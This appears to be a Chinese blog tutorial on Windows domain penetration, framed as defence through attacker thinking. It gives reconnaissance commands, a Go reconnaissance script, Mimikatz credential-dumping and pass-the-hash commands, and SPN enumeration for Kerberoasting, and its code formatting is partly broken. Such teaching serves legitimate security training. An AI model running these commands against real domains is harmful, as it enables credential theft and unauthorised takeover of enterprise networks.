一、从防御视角看 Windows 域渗透的攻防博弈

黑客示意图

在企业内部,Windows 域环境的使用非常普遍。域控制器(Domain Controller,简称 DC)作为域内的核心资产,管理着用户、计算机和其他资源的认证与权限分配。一旦攻击者能够渗透域环境并控制 DC,几乎可以将企业全盘掌控。因此,域渗透攻击在 APT 和红队行动中是最关键的环节。

从防御的角度看,域渗透的防护通常围绕以下几点展开:

  • 严控域用户的权限分配,尤其是域管理员;
  • 监控异常登录、Kerberos 等认证行为;
  • 定期审计域控的安全策略和日志。

但问题是,面对攻击者的多层次、多阶段的攻击链,传统的防御手段往往只能被动应对。要真正理解如何加强防御,必须先掌握攻击者的手法。站在攻击者的角度逆推防御漏洞,是提升域安全性的最佳实践。

接下来,我们将以攻击者的视角,剖析 Windows 域渗透的完整攻击链,并通过实战案例展示如何一步步攻陷域控。

---

二、信息侦查:如何定位域环境中的关键资源

攻击链的起点通常都是信息收集。在域渗透中,了解目标的域环境架构是关键的一步。如果连域的名称、用户账户和域控位置都无法确定,攻击链后续的每一步都会陷入被动。

常规侦查方法

假设我们已经进入内网,以下是几个常见的侦查手法:

  1. 查询本机是否加入域
  2. <pre><code class="language-shell"> # 使用 systeminfo 查看域信息 systeminfo | findstr /i &quot;域&quot;

或者直接通过环境变量确认

echo %userdomain% ` 攻击者视角:如果输出结果为空,说明目标主机可能是工作组环境,而不是域环境。

  1. 枚举域内用户与计算机信息
  2. Windows 提供了内置的命令来查询域资源: `shell

查询域内所有用户

net user /domain

查询域中计算机列表

net group &quot;Domain Computers&quot; /domain ` 攻击者视角:通过收集到的用户列表,可以进一步分析哪些用户可能拥有更高权限。

黑客示意图

  1. 定位域控制器(DC)
  2. 查询域控的位置是每个攻击者的目标之一: `shell

查询域的控制器信息

nltest /dclist:&lt;域名&gt;

或者直接通过 DNS 服务发现域控

nslookup -type=SRV _ldap._tcp.dc._msdcs.&lt;域名&gt; `

实战模拟:脚本化自动侦查

手工执行上述命令效率较低,因此攻击者通常会编写简单的脚本来完成域侦查任务。以下是一个用 Go 写的域环境侦查脚本: </code></pre>go package main

import ( "fmt" "os/exec" "strings" )

// 执行系统命令 func runCommand(command string) string { cmd := exec.Command("cmd", "/C", command) output, err := cmd.Output() if err != nil { return "" } return string(output) }

// 获取域信息 func getDomainInfo() { fmt.Println("[*] 正在查询域信息...") domain := runCommand("echo %userdomain%") fmt.Println("[+] 当前域: ", strings.TrimSpace(domain))

fmt.Println("[*] 正在查询域用户列表...") users := runCommand("net user /domain") fmt.Println("[+] 域用户: ", users)

fmt.Println("[*] 正在发现域控制器...") dcs := runCommand("nltest /dclist:" + strings.TrimSpace(domain)) fmt.Println("[+] 域控制器: ", dcs) }

func main() { getDomainInfo() } <pre><code> 执行该脚本后,我们即可快速获取目标域的基本信息,包括域名、用户列表和域控制器位置。

---

三、横向移动:从普通用户到域管理员的跃迁

黑客示意图

在渗透进入域环境后,攻击者的目标是逐步提升权限,最终控制域管理员账户。这里我们分析几种常用的横向移动技术。

技术一:Pass-the-Hash 攻击

如果我们已经拿到域用户的 NTLM 哈希值,可以直接利用它进行身份验证,而不需要明文密码。这种攻击方式称为 &quot;传递哈希(PtH)&quot;。

攻击步骤

  1. 获取用户的哈希值。
  2. 使用哈希值访问其他机器或服务。

以下是用 Mimikatz 提取哈希并进行 PtH 的方法:</code></pre>shell

提取当前用户的哈希

privilege::debug sekurlsa::logonpasswords

使用哈希值进行远程登录

sekurlsa::pth /user:<用户名> /domain:<域名> /ntlm:<哈希值> /run:<命令> <pre><code> 攻击者视角:通过这种方式,可以快速横向到域控服务。

技术二:Kerberoasting 攻击

Kerberoasting 是另一种常用的域内攻击技术,主要目标是从域服务账户中提取 Kerberos 的票据,并离线破解其密码。

以下是常见的 Kerberoasting 攻击步骤:

  1. 枚举域内的服务账户;
  2. 请求服务票据(Service Ticket,TGS);
  3. 利用工具离线破解票据,获取明文密码。

用 PowerShell 枚举服务账户的代码:</code></pre>shell

使用 GetUserSPNs 枚举服务账户

Get-ADUser -Filter * -Properties ServicePrincipalName | Where-Object { $_.ServicePrincipalName -ne $null } `

完成枚举后,可以通过 Go 编写工具离线破解。 ---

四、总结与启示

在域渗透攻击中,信息侦查和横向移动是关键环节。通过对目标环境的深入分析和精确打击,攻击者能够逐步掌控域环境。但反过来,我们可以通过加强域信息的隐藏与访问控制,增加攻击链的难度,为防御争取时间。